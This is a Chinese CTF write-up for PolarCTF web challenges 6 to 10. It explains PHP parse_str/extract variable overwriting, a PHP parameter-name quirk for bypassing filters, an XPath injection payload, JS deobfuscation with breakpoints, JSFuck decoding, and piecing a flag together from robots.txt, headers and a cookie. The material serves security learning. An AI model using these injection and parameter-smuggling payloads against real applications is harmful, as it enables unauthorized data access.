polarctf-web(6-10)

polarctf-web(6-10)
fulian23php是世界上最好的语言
考察点
内置parse_str、extract函数,非法传参
解题
1 |
|
parse_str("a=1&b=2")
–> $a=1; $b=2;
extract(array("a"=>"1","b"=>"2"))
–> $a=1; $b=2;
结合起来:
?_POST[flag1]=8gen1&_POST[flag2]=8gen1
–> $flag1=8gen1; $flag2=8gen1
绕过传参限制
而$_POST['504_SYS.COM']
需要用到php中的一个特性:
当PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_
所以传入504[SYS.COM
转化为504_SYS.COM
1 | GET: ?_POST[flag1]=8gen1&_POST[flag2]=8gen1 |
蜜雪冰城吉警店
考察点
js混淆
解题
消息由alert弹出,所以在alert函数打断点
找到周围的变量,发现flag
注入
考察点
xpath注入
解题
用了常见的几种注入都失败了,看wp才知道是xpath注入
使用payload']|//*|//*['
如原语句为//user[@id='INPUT_HERE']/name
输入后变为//user[@id='']|//*|//*['']/name
']|//*|//*['
中 ']
闭合前面的 [@id='
, |
为xpath并集运算符,//*
为匹配所有元素节点,['
闭合后面的 /name
可遍历出所有节点
召唤神龙
考察点
jsfuck
题解
在游戏源码main.js中找到jsfuck代码
1 | (![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(![]+[+[]]+([]+[])[([][(![]+[])... |
直接解密得到flag
seek flag
考察点
简单题中flag的藏法
解题
打开源码发现注释<!--焯,爬虫要是爬到我的flag怎么办-->
可知要访问robots.txt
得到#flag3:c0ad71dadd11}
在响应头中找到flag2: 3ca8737a70f029d
还发现set-cookie: id=0
将id改为1,得到flag1:flag{7ac5b
拼接得到flag:flag{7ac5b3ca8737a70f029dc0ad71dadd11}